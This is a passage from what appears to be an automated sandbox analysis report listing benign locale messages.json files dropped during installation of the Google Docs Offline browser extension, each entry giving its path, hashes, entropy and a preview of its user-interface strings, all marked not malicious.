Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
